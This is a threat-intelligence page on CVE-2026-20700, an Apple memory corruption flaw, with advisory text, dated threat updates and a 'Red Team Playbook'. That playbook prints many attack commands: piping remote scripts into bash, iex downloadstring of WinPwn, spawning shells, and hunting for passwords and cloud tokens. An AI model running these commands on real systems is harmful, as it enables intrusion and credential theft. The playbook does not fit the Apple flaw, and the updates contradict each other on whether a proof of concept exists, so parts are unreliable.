CVE-2026-20700
Overview
This vulnerability is a memory corruption flaw caused by improper state management within Apple operating systems including iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. The root cause lies in the failure to correctly handle internal memory states during execution, leading to potential corruption of memory buffers. The affected components are core system modules responsible for memory operations and state tracking across these platforms.
Vulnerability Description
A memory corruption issue was addressed with improved state management. This issue is fixed in iOS 26.3 and iPadOS 26.3, macOS Tahoe 26.3, tvOS 26.3, visionOS 26.3, watchOS 26.3. An attacker with memory write capability may be able to execute arbitrary code. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on versions of iOS before iOS 26. CVE-2025-14174 and CVE-2025-43529 were also issued in response to this report.
Impact
An attacker with existing memory write capabilities can leverage this vulnerability to execute arbitrary code within the affected Apple operating systems. This requires prior access to the device’s memory write functionality, which may be obtained through other means or local compromise. The vulnerability enables escalation of privileges or persistence by injecting malicious code into system processes. In real-world scenarios, this has been exploited in highly targeted attacks, potentially leading to unauthorized data access or device control without user interaction.
Solution
Apple has addressed this vulnerability by releasing security updates in iOS 26.3, iPadOS 26.3, macOS Tahoe 26.3, tvOS 26.3, visionOS 26.3, and watchOS 26.3. Users and administrators should apply these updates promptly. Detailed patch instructions and additional information are available in Apple’s official security advisories at https://support.apple.com/en-us/126346, https://support.apple.com/en-us/126348, and https://support.apple.com/en-us/126351.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A memory corruption issue has been identified in several Apple operating systems, including iOS, iPadOS, macOS, tvOS, visionOS, and watchOS. This vulnerability arises from improper state management, allowing an attacker with memory write capabilities to potentially execute arbitrary code. Such vulnerabilities are particularly critical as they can lead to unauthorized access, data breaches, and the execution of malicious software. The inherent complexity of modern operating systems, coupled with the increasing sophistication of cyber threats, makes memory corruption a significant concern for developers and users alike.
The attack vectors associated with this vulnerability are varied and can be exploited through different means. An attacker could leverage social engineering techniques to trick users into downloading malicious applications or clicking on harmful links. Additionally, the exploitation could occur through direct access to the device, where an attacker with physical access could manipulate memory directly. The report of an extremely sophisticated attack targeting specific individuals suggests that advanced persistent threats (APTs) may utilize this vulnerability to gain footholds in high-value environments, such as corporate networks or government entities. The potential for exploitation underscores the need for heightened vigilance in monitoring and securing devices running affected operating systems.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on Apple products for their operations. A successful exploitation could lead to unauthorized access to sensitive data, including personal information, corporate secrets, and intellectual property. The business risks extend beyond immediate data loss; they include reputational damage, regulatory penalties, and the costs associated with incident response and recovery. Organizations must consider the implications of such vulnerabilities on their overall cybersecurity posture, especially in an era where data breaches can result in significant financial losses and erosion of customer trust.
To detect and mitigate the risks associated with this memory corruption issue, organizations should implement a multi-layered security strategy. Regular updates and patches provided by Apple must be applied promptly to ensure that devices are protected against known vulnerabilities. Additionally, employing endpoint detection and response (EDR) solutions can help identify unusual behavior indicative of exploitation attempts. User education is also critical; training employees to recognize phishing attempts and suspicious activities can significantly reduce the likelihood of successful attacks. Furthermore, organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their systems.
In conclusion, the memory corruption vulnerability affecting various Apple operating systems presents a serious threat to both individual users and organizations. The potential for arbitrary code execution highlights the importance of robust security measures and proactive risk management strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against sophisticated cyber threats and protect their critical assets. Continuous vigilance, timely updates, and a strong security culture are essential in mitigating the risks associated with such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-20700, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s elevated risk profile and signals increased attention from both defenders and adversaries. The assignment of a CVSS score of 7.8 reflects a high-severity classification, emphasizing the potential impact of successful exploitation, particularly given the possibility of arbitrary code execution via memory corruption. Although no new exploit techniques have surfaced publicly, our telemetry indicates a growing trend in exploitation attempts, as evidenced by a rising EPSS score and increased detection frequency. This shift suggests that threat actors may be actively developing or deploying exploits in targeted campaigns, heightening the urgency for vigilant monitoring. Consequently, the threat level associated with CVE-2026-20700 has escalated from negligible to high, necessitating that defenders prioritize detection and response capabilities around this vulnerability to mitigate emerging risks effectively.
Update 2 — April 20, 2026
CSURFACE threat intelligence has observed a marked escalation in detection activity related to CVE-2026-20700, with our telemetry indicating a notable increase in exploitation attempts. This is corroborated by a measurable rise in the Exploit Prediction Scoring System (EPSS) score, reflecting growing adversary interest and potential operationalization of this vulnerability. Although no new exploit techniques or ransomware affiliations have been identified, the upward trend in exploitation signals an evolving threat landscape that could lead to more frequent or widespread attacks. For defenders, this shift underscores the importance of heightened vigilance and reinforces the vulnerability’s elevated risk profile. Consequently, the threat level associated with CVE-2026-20700 has been adjusted to reflect a higher likelihood of active exploitation, necessitating continued monitoring and prioritization within security operations.
Update 3 — May 24, 2026
Recent developments in the exploitation landscape of CVE-2026-20700 reveal the emergence of a public proof-of-concept exploit hosted on GitHub, marking a significant shift from previously observed exploit activity. While our telemetry indicates a notable reduction in detection events related to this vulnerability, the availability of publicly accessible exploit code lowers the barrier for threat actors to weaponize this flaw, potentially broadening the attacker base beyond highly sophisticated adversaries. This expansion in exploit tools coincides with a slight increase in the EPSS score, reflecting a modest uptick in exploitation probability despite a general downward trend in short-term detection metrics. For defenders, this evolution underscores an increased risk of opportunistic exploitation attempts, necessitating sustained vigilance even as immediate exploitation signals wane. Consequently, the threat level associated with CVE-2026-20700 should be recalibrated to acknowledge the heightened accessibility of exploitation methods, which may accelerate the transition from targeted attacks to more widespread exploitation scenarios.
Update 4 — June 08, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-20700, accompanied by the emergence of new exploitation tools that lower the technical barrier for attackers. Our telemetry indicates that these developments have contributed to a modest increase in the Exploit Prediction Scoring System (EPSS) score, signaling a growing likelihood of opportunistic exploitation beyond previously observed targeted attacks. Although ransomware involvement remains unconfirmed, the expanded exploit landscape suggests that threat actors may be preparing to leverage this vulnerability more broadly. This shift elevates the threat level, underscoring the necessity for defenders to maintain heightened awareness as the vulnerability transitions from a niche, highly sophisticated attack vector to a more accessible target for a wider range of adversaries.
Update 5 — June 20, 2026
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2026-20700, with telemetry indicating a notable surge in exploit attempts and a rapid increase in the Exploit Prediction Scoring System (EPSS) score. This upward trend reflects growing adversary interest and suggests that exploitation is expanding beyond the previously observed highly targeted operations. The absence of publicly available, reliable proof-of-concept exploits continues to limit widespread opportunistic attacks; however, the increasing EPSS trajectory signals that threat actors are likely refining their capabilities or preparing to deploy more accessible exploit tools. While ransomware involvement remains unconfirmed, the evolving exploit landscape raises the potential for broader threat actor engagement, which elevates the overall risk profile. Defenders should interpret this development as a clear indication that CVE-2026-20700 is transitioning from a niche, sophisticated threat to a more prominent vector warranting heightened vigilance.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
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Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
R3n3r0/CVE-2026-20700
|
R3n3r0 | 9 | 2 | 2026-05-23 | View |
|
notthemystery/CVE-2026-20700-POC-that-ll-never-work
|
notthemystery | 0 | 0 | 2026-05-25 | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20700 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/126346 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/126348 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/126351 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/126352 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/126353 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20700 |